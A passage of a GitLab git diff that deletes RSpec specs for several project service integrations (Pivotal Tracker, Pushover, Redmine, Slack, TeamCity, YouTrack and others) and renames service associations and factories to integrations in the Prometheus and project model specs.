- it_behaves_like 'not sending email'
- end
- end
-
- context 'when the pipeline failed' do
- context 'on default branch' do
- before do
- data[:object_attributes][:ref] = project.default_branch
- pipeline.update!(ref: project.default_branch)
- end
-
- context 'notifications are enabled only for default branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "default"
- end
-
- context 'notifications are enabled only for protected branch' do
- it_behaves_like 'not sending email', branches_to_be_notified: "protected"
- end
-
- context 'notifications are enabled only for default and protected branches ' do
- it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notifications are enabled only for all branches' do
- it_behaves_like 'sending email', branches_to_be_notified: "all"
- end
- end
-
- context 'on a protected branch' do
- before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
- data[:object_attributes][:ref] = 'a-protected-branch'
- pipeline.update!(ref: 'a-protected-branch')
- end
-
- context 'notifications are enabled only for default branch' do
- it_behaves_like 'not sending email', branches_to_be_notified: "default"
- end
-
- context 'notifications are enabled only for protected branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "protected"
- end
-
- context 'notifications are enabled only for default and protected branches ' do
- it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notifications are enabled only for all branches' do
- it_behaves_like 'sending email', branches_to_be_notified: "all"
- end
- end
-
- context 'on a neither protected nor default branch' do
- before do
- data[:object_attributes][:ref] = 'a-random-branch'
- pipeline.update!(ref: 'a-random-branch')
- end
-
- context 'notifications are enabled only for default branch' do
- it_behaves_like 'not sending email', branches_to_be_notified: "default"
- end
-
- context 'notifications are enabled only for protected branch' do
- it_behaves_like 'not sending email', branches_to_be_notified: "protected"
- end
-
- context 'notifications are enabled only for default and protected branches ' do
- it_behaves_like 'not sending email', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notifications are enabled only for all branches' do
- it_behaves_like 'sending email', branches_to_be_notified: "all"
- end
- end
- end
- end
-
- context 'with empty recipients list' do
- let(:recipients) { ' ,, ' }
-
- context 'with failed pipeline' do
- before do
- data[:object_attributes][:status] = 'failed'
- pipeline.update!(status: 'failed')
- end
-
- it_behaves_like 'not sending email'
- end
- end
-
- context 'with recipients list separating with newlines' do
- let(:recipients) { "\ntest@gitlab.com, \r\nexample@gitlab.com\rother@gitlab.com" }
- let(:receivers) { %w[test@gitlab.com example@gitlab.com other@gitlab.com] }
-
- context 'with failed pipeline' do
- before do
- data[:object_attributes][:status] = 'failed'
- pipeline.update!(status: 'failed')
- end
-
- it_behaves_like 'sending email'
- end
- end
- end
-end
diff --git a/spec/models/project_services/pivotaltracker_service_spec.rb b/spec/models/project_services/pivotaltracker_service_spec.rb
deleted file mode 100644
index 8de85cc7fa5..00000000000
--- a/spec/models/project_services/pivotaltracker_service_spec.rb
+++ /dev/null
@@ -1,101 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe PivotaltrackerService do
- include StubRequests
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:token) }
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:token) }
- end
- end
-
- describe 'Execute' do
- let(:service) do
- described_class.new.tap do |service|
- service.token = 'secret_api_token'
- end
- end
-
- let(:url) { PivotaltrackerService::API_ENDPOINT }
-
- def push_data(branch: 'master')
- {
- object_kind: 'push',
- ref: "refs/heads/#{branch}",
- commits: [
- {
- id: '21c12ea',
- author: {
- name: 'Some User'
- },
- url: 'https://example.com/commit',
- message: 'commit message'
- }
- ]
- }
- end
-
- before do
- stub_full_request(url, method: :post)
- end
-
- it 'posts correct message' do
- service.execute(push_data)
- expect(WebMock).to have_requested(:post, stubbed_hostname(url)).with(
- body: {
- 'source_commit' => {
- 'commit_id' => '21c12ea',
- 'author' => 'Some User',
- 'url' => 'https://example.com/commit',
- 'message' => 'commit message'
- }
- },
- headers: {
- 'Content-Type' => 'application/json',
- 'X-TrackerToken' => 'secret_api_token'
- }
- ).once
- end
-
- context 'when allowed branches is specified' do
- let(:service) do
- super().tap do |service|
- service.restrict_to_branch = 'master,v10'
- end
- end
-
- it 'posts message if branch is in the list' do
- service.execute(push_data(branch: 'master'))
- service.execute(push_data(branch: 'v10'))
-
- expect(WebMock).to have_requested(:post, stubbed_hostname(url)).twice
- end
-
- it 'does not post message if branch is not in the list' do
- service.execute(push_data(branch: 'mas'))
- service.execute(push_data(branch: 'v11'))
-
- expect(WebMock).not_to have_requested(:post, stubbed_hostname(url))
- end
- end
- end
-end
diff --git a/spec/models/project_services/prometheus_service_spec.rb b/spec/models/project_services/prometheus_service_spec.rb
index 37a6d49ff74..a2025388fab 100644
--- a/spec/models/project_services/prometheus_service_spec.rb
+++ b/spec/models/project_services/prometheus_service_spec.rb
@@ -323,9 +323,9 @@ RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowpl
end
describe '#prometheus_available?' do
- context 'clusters with installed prometheus' do
+ context 'clusters with enabled prometheus' do
before do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
end
context 'cluster belongs to project' do
@@ -340,7 +340,7 @@ RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowpl
let_it_be(:group) { create(:group) }
let(:project) { create(:prometheus_project, group: group) }
- let(:cluster) { create(:cluster_for_group, :with_installed_helm, groups: [group]) }
+ let(:cluster) { create(:cluster_for_group, groups: [group]) }
it 'returns true' do
expect(service.prometheus_available?).to be(true)
@@ -349,8 +349,8 @@ RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowpl
it 'avoids N+1 queries' do
service
5.times do |i|
- other_cluster = create(:cluster_for_group, :with_installed_helm, groups: [group], environment_scope: i)
- create(:clusters_applications_prometheus, :installing, cluster: other_cluster)
+ other_cluster = create(:cluster_for_group, groups: [group], environment_scope: i)
+ create(:clusters_integrations_prometheus, cluster: other_cluster)
end
expect { service.prometheus_available? }.not_to exceed_query_limit(1)
end
@@ -365,18 +365,9 @@ RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowpl
end
end
- context 'clusters with updated prometheus' do
- let!(:cluster) { create(:cluster, projects: [project]) }
- let!(:prometheus) { create(:clusters_applications_prometheus, :updated, cluster: cluster) }
-
- it 'returns true' do
- expect(service.prometheus_available?).to be(true)
- end
- end
-
- context 'clusters without prometheus installed' do
+ context 'clusters with prometheus disabled' do
let(:cluster) { create(:cluster, projects: [project]) }
- let!(:prometheus) { create(:clusters_applications_prometheus, cluster: cluster) }
+ let!(:prometheus) { create(:clusters_integrations_prometheus, :disabled, cluster: cluster) }
it 'returns false' do
expect(service.prometheus_available?).to be(false)
@@ -491,13 +482,13 @@ RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowpl
expect(service.editable?).to be(true)
end
- context 'when cluster exists with prometheus installed' do
+ context 'when cluster exists with prometheus enabled' do
let(:cluster) { create(:cluster, projects: [project]) }
before do
service.update!(manual_configuration: false)
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
end
it 'remains editable' do
diff --git a/spec/models/project_services/pushover_service_spec.rb b/spec/models/project_services/pushover_service_spec.rb
deleted file mode 100644
index b7d3b8987b8..00000000000
--- a/spec/models/project_services/pushover_service_spec.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe PushoverService do
- include StubRequests
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:api_key) }
- it { is_expected.to validate_presence_of(:user_key) }
- it { is_expected.to validate_presence_of(:priority) }
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:api_key) }
- it { is_expected.not_to validate_presence_of(:user_key) }
- it { is_expected.not_to validate_presence_of(:priority) }
- end
- end
-
- describe 'Execute' do
- let(:pushover) { described_class.new }
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build_sample(project, user)
- end
-
- let(:api_key) { 'verySecret' }
- let(:user_key) { 'verySecret' }
- let(:device) { 'myDevice' }
- let(:priority) { 0 }
- let(:sound) { 'bike' }
- let(:api_url) { 'https://api.pushover.net/1/messages.json' }
-
- before do
- allow(pushover).to receive_messages(
- project: project,
- project_id: project.id,
- service_hook: true,
- api_key: api_key,
- user_key: user_key,
- device: device,
- priority: priority,
- sound: sound
- )
-
- stub_full_request(api_url, method: :post, ip_address: '8.8.8.8')
- end
-
- it 'calls Pushover API' do
- pushover.execute(sample_data)
-
- expect(WebMock).to have_requested(:post, 'https://8.8.8.8/1/messages.json').once
- end
- end
-end
diff --git a/spec/models/project_services/redmine_service_spec.rb b/spec/models/project_services/redmine_service_spec.rb
deleted file mode 100644
index b9be3940d34..00000000000
--- a/spec/models/project_services/redmine_service_spec.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe RedmineService do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- # if redmine is set in setting the urls are set to defaults
- # therefore the validation passes as the values are not nil
- before do
- settings = {
- 'redmine' => {}
- }
- allow(Gitlab.config).to receive(:issues_tracker).and_return(settings)
- end
-
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:project_url) }
- it { is_expected.to validate_presence_of(:issues_url) }
- it { is_expected.to validate_presence_of(:new_issue_url) }
-
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:project_url) }
- it { is_expected.not_to validate_presence_of(:issues_url) }
- it { is_expected.not_to validate_presence_of(:new_issue_url) }
- end
- end
-
- describe '.reference_pattern' do
- it_behaves_like 'allows project key on reference pattern'
-
- it 'does allow # on the reference' do
- expect(described_class.reference_pattern.match('#123')[:issue]).to eq('123')
- end
- end
-end
diff --git a/spec/models/project_services/slack_service_spec.rb b/spec/models/project_services/slack_service_spec.rb
deleted file mode 100644
index 2e2c1c666d9..00000000000
--- a/spec/models/project_services/slack_service_spec.rb
+++ /dev/null
@@ -1,133 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe SlackService do
- it_behaves_like "slack or mattermost notifications", 'Slack'
-
- describe '#execute' do
- before do
- stub_request(:post, "https://slack.service.url/")
- end
-
- let_it_be(:slack_service) { create(:slack_service, branches_to_be_notified: 'all') }
-
- it 'uses only known events', :aggregate_failures do
- described_class::SUPPORTED_EVENTS_FOR_USAGE_LOG.each do |action|
- expect(Gitlab::UsageDataCounters::HLLRedisCounter.known_event?("i_ecosystem_slack_service_#{action}_notification")).to be true
- end
- end
-
- context 'hook data includes a user object' do
- let_it_be(:user) { create_default(:user) }
- let_it_be(:project) { create_default(:project, :repository, :wiki_repo) }
-
- shared_examples 'increases the usage data counter' do |event_name|
- it 'increases the usage data counter' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(event_name, values: user.id).and_call_original
-
- slack_service.execute(data)
- end
- end
-
- context 'event is not supported for usage log' do
- let_it_be(:pipeline) { create(:ci_pipeline) }
-
- let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
-
- it 'does not increase the usage data counter' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event).with('i_ecosystem_slack_service_pipeline_notification', values: user.id)
-
- slack_service.execute(data)
- end
- end
-
- context 'issue notification' do
- let_it_be(:issue) { create(:issue) }
-
- let(:data) { issue.to_hook_data(user) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_issue_notification'
- end
-
- context 'push notification' do
- let(:data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_push_notification'
- end
-
- context 'deployment notification' do
- let_it_be(:deployment) { create(:deployment, user: user) }
-
- let(:data) { Gitlab::DataBuilder::Deployment.build(deployment, Time.current) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_deployment_notification'
- end
-
- context 'wiki_page notification' do
- let(:wiki_page) { create(:wiki_page, wiki: project.wiki, message: 'user created page: Awesome wiki_page') }
-
- let(:data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
-
- before do
- # Skip this method that is not relevant to this test to prevent having
- # to update project which is frozen
- allow(project.wiki).to receive(:after_wiki_activity)
- end
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_wiki_page_notification'
- end
-
- context 'merge_request notification' do
- let_it_be(:merge_request) { create(:merge_request) }
-
- let(:data) { merge_request.to_hook_data(user) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_merge_request_notification'
- end
-
- context 'note notification' do
- let_it_be(:issue_note) { create(:note_on_issue, note: 'issue note') }
-
- let(:data) { Gitlab::DataBuilder::Note.build(issue_note, user) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_note_notification'
- end
-
- context 'tag_push notification' do
- let(:oldrev) { Gitlab::Git::BLANK_SHA }
- let(:newrev) { '8a2a6eb295bb170b34c24c76c49ed0e9b2eaf34b' } # gitlab-test: git rev-parse refs/tags/v1.1.0
- let(:ref) { 'refs/tags/v1.1.0' }
- let(:data) { Git::TagHooksService.new(project, user, change: { oldrev: oldrev, newrev: newrev, ref: ref }).send(:push_data) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_tag_push_notification'
- end
-
- context 'confidential note notification' do
- let_it_be(:confidential_issue_note) { create(:note_on_issue, note: 'issue note', confidential: true) }
-
- let(:data) { Gitlab::DataBuilder::Note.build(confidential_issue_note, user) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_confidential_note_notification'
- end
-
- context 'confidential issue notification' do
- let_it_be(:issue) { create(:issue, confidential: true) }
-
- let(:data) { issue.to_hook_data(user) }
-
- it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_confidential_issue_notification'
- end
- end
-
- context 'hook data does not include a user' do
- let(:data) { Gitlab::DataBuilder::Pipeline.build(create(:ci_pipeline)) }
-
- it 'does not increase the usage data counter' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
-
- slack_service.execute(data)
- end
- end
- end
-end
diff --git a/spec/models/project_services/slack_slash_commands_service_spec.rb b/spec/models/project_services/slack_slash_commands_service_spec.rb
deleted file mode 100644
index 95c87ef01bc..00000000000
--- a/spec/models/project_services/slack_slash_commands_service_spec.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe SlackSlashCommandsService do
- it_behaves_like "chat slash commands service"
-
- describe '#trigger' do
- context 'when an auth url is generated' do
- let(:project) { create(:project) }
- let(:params) do
- {
- team_domain: 'http://domain.tld',
- team_id: 'T3423423',
- user_id: 'U234234',
- user_name: 'mepmep',
- token: 'token'
- }
- end
-
- let(:service) do
- project.create_slack_slash_commands_service(
- properties: { token: 'token' },
- active: true
- )
- end
-
- let(:authorize_url) do
- 'http://authorize.example.com/'
- end
-
- before do
- allow(service).to receive(:authorize_chat_name_url).and_return(authorize_url)
- end
-
- it 'uses slack compatible links' do
- response = service.trigger(params)
-
- expect(response[:text]).to include("<#{authorize_url}|connect your GitLab account>")
- end
- end
- end
-
- describe '#chat_responder' do
- it 'returns the responder to use for Slack' do
- expect(described_class.new.chat_responder)
- .to eq(Gitlab::Chat::Responder::Slack)
- end
- end
-end
diff --git a/spec/models/project_services/teamcity_service_spec.rb b/spec/models/project_services/teamcity_service_spec.rb
deleted file mode 100644
index f71dad86a08..00000000000
--- a/spec/models/project_services/teamcity_service_spec.rb
+++ /dev/null
@@ -1,334 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe TeamcityService, :use_clean_rails_memory_store_caching do
- include ReactiveCachingHelpers
- include StubRequests
-
- let(:teamcity_url) { 'http://gitlab.com/teamcity' }
- let(:teamcity_full_url) { 'http://gitlab.com/teamcity/httpAuth/app/rest/builds/branch:unspecified:any,revision:123' }
- let(:project) { create(:project) }
-
- subject(:service) do
- described_class.create!(
- project: project,
- properties: {
- teamcity_url: teamcity_url,
- username: 'mic',
- password: 'password',
- build_type: 'foo'
- }
- )
- end
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:build_type) }
- it { is_expected.to validate_presence_of(:teamcity_url) }
- it_behaves_like 'issue tracker service URL attribute', :teamcity_url
-
- describe '#username' do
- it 'does not validate the presence of username if password is nil' do
- subject.password = nil
-
- expect(subject).not_to validate_presence_of(:username)
- end
-
- it 'validates the presence of username if password is present' do
- subject.password = 'secret'
-
- expect(subject).to validate_presence_of(:username)
- end
- end
-
- describe '#password' do
- it 'does not validate the presence of password if username is nil' do
- subject.username = nil
-
- expect(subject).not_to validate_presence_of(:password)
- end
-
- it 'validates the presence of password if username is present' do
- subject.username = 'john'
-
- expect(subject).to validate_presence_of(:password)
- end
- end
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:build_type) }
- it { is_expected.not_to validate_presence_of(:teamcity_url) }
- it { is_expected.not_to validate_presence_of(:username) }
- it { is_expected.not_to validate_presence_of(:password) }
- end
- end
-
- describe 'Callbacks' do
- describe 'before_update :reset_password' do
- context 'when a password was previously set' do
- it 'resets password if url changed' do
- teamcity_service = service
-
- teamcity_service.teamcity_url = 'http://gitlab1.com'
- teamcity_service.save!
-
- expect(teamcity_service.password).to be_nil
- end
-
- it 'does not reset password if username changed' do
- teamcity_service = service
-
- teamcity_service.username = 'some_name'
- teamcity_service.save!
-
- expect(teamcity_service.password).to eq('password')
- end
-
- it "does not reset password if new url is set together with password, even if it's the same password" do
- teamcity_service = service
-
- teamcity_service.teamcity_url = 'http://gitlab_edited.com'
- teamcity_service.password = 'password'
- teamcity_service.save!
-
- expect(teamcity_service.password).to eq('password')
- expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
- end
- end
-
- it 'saves password if new url is set together with password when no password was previously set' do
- teamcity_service = service
- teamcity_service.password = nil
-
- teamcity_service.teamcity_url = 'http://gitlab_edited.com'
- teamcity_service.password = 'password'
- teamcity_service.save!
-
- expect(teamcity_service.password).to eq('password')
- expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
- end
- end
- end
-
- describe '#build_page' do
- it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { build_page: 'foo' }, 'sha', 'ref')
-
- expect(service.build_page('sha', 'ref')).to eq('foo')
- end
- end
-
- describe '#commit_status' do
- it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { commit_status: 'foo' }, 'sha', 'ref')
-
- expect(service.commit_status('sha', 'ref')).to eq('foo')
- end
- end
-
- describe '#calculate_reactive_cache' do
- context 'build_page' do
- subject { service.calculate_reactive_cache('123', 'unused')[:build_page] }
-
- it 'returns a specific URL when status is 500' do
- stub_request(status: 500)
-
- is_expected.to eq('http://gitlab.com/teamcity/viewLog.html?buildTypeId=foo')
- end
-
- it 'returns a build URL when teamcity_url has no trailing slash' do
- stub_request(body: %q({"build":{"id":"666"}}))
-
- is_expected.to eq('http://gitlab.com/teamcity/viewLog.html?buildId=666&buildTypeId=foo')
- end
-
- context 'teamcity_url has trailing slash' do
- let(:teamcity_url) { 'http://gitlab.com/teamcity/' }
-
- it 'returns a build URL' do
- stub_request(body: %q({"build":{"id":"666"}}))
-
- is_expected.to eq('http://gitlab.com/teamcity/viewLog.html?buildId=666&buildTypeId=foo')
- end
- end
-
- it 'returns the teamcity_url when teamcity is unreachable' do
- stub_full_request(teamcity_full_url).to_raise(Errno::ECONNREFUSED)
-
- expect(Gitlab::ErrorTracking)
- .to receive(:log_exception)
- .with(instance_of(Errno::ECONNREFUSED), project_id: project.id)
-
- is_expected.to eq(teamcity_url)
- end
- end
-
- context 'commit_status' do
- subject { service.calculate_reactive_cache('123', 'unused')[:commit_status] }
-
- it 'sets commit status to :error when status is 500' do
- stub_request(status: 500)
-
- is_expected.to eq(:error)
- end
-
- it 'sets commit status to "pending" when status is 404' do
- stub_request(status: 404)
-
- is_expected.to eq('pending')
- end
-
- it 'sets commit status to "success" when build status contains SUCCESS' do
- stub_request(build_status: 'YAY SUCCESS!')
-
- is_expected.to eq('success')
- end
-
- it 'sets commit status to "failed" when build status contains FAILURE' do
- stub_request(build_status: 'NO FAILURE!')
-
- is_expected.to eq('failed')
- end
-
- it 'sets commit status to "pending" when build status contains Pending' do
- stub_request(build_status: 'NO Pending!')
-
- is_expected.to eq('pending')
- end
-
- it 'sets commit status to :error when build status is unknown' do
- stub_request(build_status: 'FOO BAR!')
-
- is_expected.to eq(:error)
- end
-
- it 'sets commit status to :error when teamcity is unreachable' do
- stub_full_request(teamcity_full_url).to_raise(Errno::ECONNREFUSED)
-
- expect(Gitlab::ErrorTracking)
- .to receive(:log_exception)
- .with(instance_of(Errno::ECONNREFUSED), project_id: project.id)
-
- is_expected.to eq(:error)
- end
- end
- end
-
- describe '#execute' do
- context 'when push' do
- let(:data) do
- {
- object_kind: 'push',
- ref: 'refs/heads/dev-123_branch',
- after: '0220c11b9a3e6c69dc8fd35321254ca9a7b98f7e',
- total_commits_count: 1
- }
- end
-
- it 'handles push request correctly' do
- stub_post_to_build_queue(branch: 'dev-123_branch')
-
- expect(service.execute(data)).to include('Ok')
- end
-
- it 'returns nil when ref is blank' do
- data[:after] = Gitlab::Git::BLANK_SHA
-
- expect(service.execute(data)).to be_nil
- end
-
- it 'returns nil when there is no content' do
- data[:total_commits_count] = 0
-
- expect(service.execute(data)).to be_nil
- end
-
- it 'returns nil when a merge request is opened for the same ref' do
- create(:merge_request, source_project: project, source_branch: 'dev-123_branch')
-
- expect(service.execute(data)).to be_nil
- end
- end
-
- context 'when merge_request' do
- let(:data) do
- {
- object_kind: 'merge_request',
- ref: 'refs/heads/dev-123_branch',
- after: '0220c11b9a3e6c69dc8fd35321254ca9a7b98f7e',
- total_commits_count: 1,
- object_attributes: {
- state: 'opened',
- source_branch: 'dev-123_branch',
- merge_status: 'unchecked'
- }
- }
- end
-
- it 'handles merge request correctly' do
- stub_post_to_build_queue(branch: 'dev-123_branch')
-
- expect(service.execute(data)).to include('Ok')
- end
-
- it 'returns nil when merge request is not opened' do
- data[:object_attributes][:state] = 'closed'
-
- expect(service.execute(data)).to be_nil
- end
-
- it 'returns nil unless merge request is marked as unchecked' do
- data[:object_attributes][:merge_status] = 'can_be_merged'
-
- expect(service.execute(data)).to be_nil
- end
- end
-
- it 'returns nil when event is not supported' do
- data = { object_kind: 'foo' }
-
- expect(service.execute(data)).to be_nil
- end
- end
-
- def stub_post_to_build_queue(branch:)
- teamcity_full_url = 'http://gitlab.com/teamcity/httpAuth/app/rest/buildQueue'
- body ||= %Q(<build branchName=\"#{branch}\"><buildType id=\"foo\"/></build>)
- auth = %w(mic password)
-
- stub_full_request(teamcity_full_url, method: :post).with(
- basic_auth: auth,
- body: body,
- headers: {
- 'Content-Type' => 'application/xml'
- }
- ).to_return(status: 200, body: 'Ok', headers: {})
- end
-
- def stub_request(status: 200, body: nil, build_status: 'success')
- auth = %w(mic password)
-
- body ||= %Q({"build":{"status":"#{build_status}","id":"666"}})
-
- stub_full_request(teamcity_full_url).with(basic_auth: auth).to_return(
- status: status,
- headers: { 'Content-Type' => 'application/json' },
- body: body
- )
- end
-end
diff --git a/spec/models/project_services/unify_circuit_service_spec.rb b/spec/models/project_services/unify_circuit_service_spec.rb
deleted file mode 100644
index 0c749322e07..00000000000
--- a/spec/models/project_services/unify_circuit_service_spec.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe UnifyCircuitService do
- it_behaves_like "chat service", "Unify Circuit" do
- let(:client_arguments) { webhook_url }
- let(:payload) do
- {
- subject: project.full_name,
- text: be_present,
- markdown: true
- }
- end
- end
-end
diff --git a/spec/models/project_services/webex_teams_service_spec.rb b/spec/models/project_services/webex_teams_service_spec.rb
deleted file mode 100644
index ed63f5bc48c..00000000000
--- a/spec/models/project_services/webex_teams_service_spec.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe WebexTeamsService do
- it_behaves_like "chat service", "Webex Teams" do
- let(:client_arguments) { webhook_url }
- let(:payload) do
- {
- markdown: be_present
- }
- end
- end
-end
diff --git a/spec/models/project_services/youtrack_service_spec.rb b/spec/models/project_services/youtrack_service_spec.rb
deleted file mode 100644
index 4339b44e1de..00000000000
--- a/spec/models/project_services/youtrack_service_spec.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe YoutrackService do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:project_url) }
- it { is_expected.to validate_presence_of(:issues_url) }
-
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:project_url) }
- it { is_expected.not_to validate_presence_of(:issues_url) }
- end
- end
-
- describe '.reference_pattern' do
- it_behaves_like 'allows project key on reference pattern'
-
- it 'does allow project prefix on the reference' do
- expect(described_class.reference_pattern.match('YT-123')[:issue]).to eq('YT-123')
- end
-
- it 'allows lowercase project key on the reference' do
- expect(described_class.reference_pattern.match('yt-123')[:issue]).to eq('yt-123')
- end
- end
-end
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index c57c2792f87..78e32571d7d 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_many(:project_members).dependent(:delete_all) }
it { is_expected.to have_many(:users).through(:project_members) }
it { is_expected.to have_many(:requesters).dependent(:delete_all) }
- it { is_expected.to have_many(:notes) }
+ it { is_expected.to have_many(:notes).dependent(:destroy) }
it { is_expected.to have_many(:snippets).class_name('ProjectSnippet') }
it { is_expected.to have_many(:deploy_keys_projects) }
it { is_expected.to have_many(:deploy_keys) }
@@ -43,31 +43,31 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_one(:webex_teams_service) }
it { is_expected.to have_one(:packagist_service) }
it { is_expected.to have_one(:pushover_service) }
- it { is_expected.to have_one(:asana_service) }
+ it { is_expected.to have_one(:asana_integration) }
it { is_expected.to have_many(:boards) }
- it { is_expected.to have_one(:campfire_service) }
- it { is_expected.to have_one(:datadog_service) }
- it { is_expected.to have_one(:discord_service) }
- it { is_expected.to have_one(:drone_ci_service) }
+ it { is_expected.to have_one(:campfire_integration) }
+ it { is_expected.to have_one(:datadog_integration) }
+ it { is_expected.to have_one(:discord_integration) }
+ it { is_expected.to have_one(:drone_ci_integration) }
it { is_expected.to have_one(:emails_on_push_service) }
it { is_expected.to have_one(:pipelines_email_service) }
it { is_expected.to have_one(:irker_service) }
it { is_expected.to have_one(:pivotaltracker_service) }
it { is_expected.to have_one(:flowdock_service) }
- it { is_expected.to have_one(:assembla_service) }
+ it { is_expected.to have_one(:assembla_integration) }
it { is_expected.to have_one(:slack_slash_commands_service) }
it { is_expected.to have_one(:mattermost_slash_commands_service) }
- it { is_expected.to have_one(:buildkite_service) }
- it { is_expected.to have_one(:bamboo_service) }
+ it { is_expected.to have_one(:buildkite_integration) }
+ it { is_expected.to have_one(:bamboo_integration) }
it { is_expected.to have_one(:teamcity_service) }
it { is_expected.to have_one(:jira_service) }
it { is_expected.to have_one(:redmine_service) }
it { is_expected.to have_one(:youtrack_service) }
- it { is_expected.to have_one(:custom_issue_tracker_service) }
- it { is_expected.to have_one(:bugzilla_service) }
+ it { is_expected.to have_one(:custom_issue_tracker_integration) }
+ it { is_expected.to have_one(:bugzilla_integration) }
it { is_expected.to have_one(:ewm_service) }
it { is_expected.to have_one(:external_wiki_service) }
- it { is_expected.to have_one(:confluence_service) }
+ it { is_expected.to have_one(:confluence_integration) }
it { is_expected.to have_one(:project_feature) }
it { is_expected.to have_one(:project_repository) }
it { is_expected.to have_one(:container_expiration_policy) }
@@ -472,6 +472,23 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '#merge_requests_author_approval' do
+ where(:attribute_value, :return_value) do
+ true | true
+ false | false
+ nil | false
+ end
+
+ with_them do
+ let(:project) { create(:project, merge_requests_author_approval: attribute_value) }
+
+ it 'returns expected value' do
+ expect(project.merge_requests_author_approval).to eq(return_value)
+ expect(project.merge_requests_author_approval?).to eq(return_value)
+ end
+ end
+ end
+
describe '#all_pipelines' do
let_it_be(:project) { create(:project) }
@@ -636,6 +653,16 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to delegate_method(:root_ancestor).to(:namespace).with_arguments(allow_nil: true) }
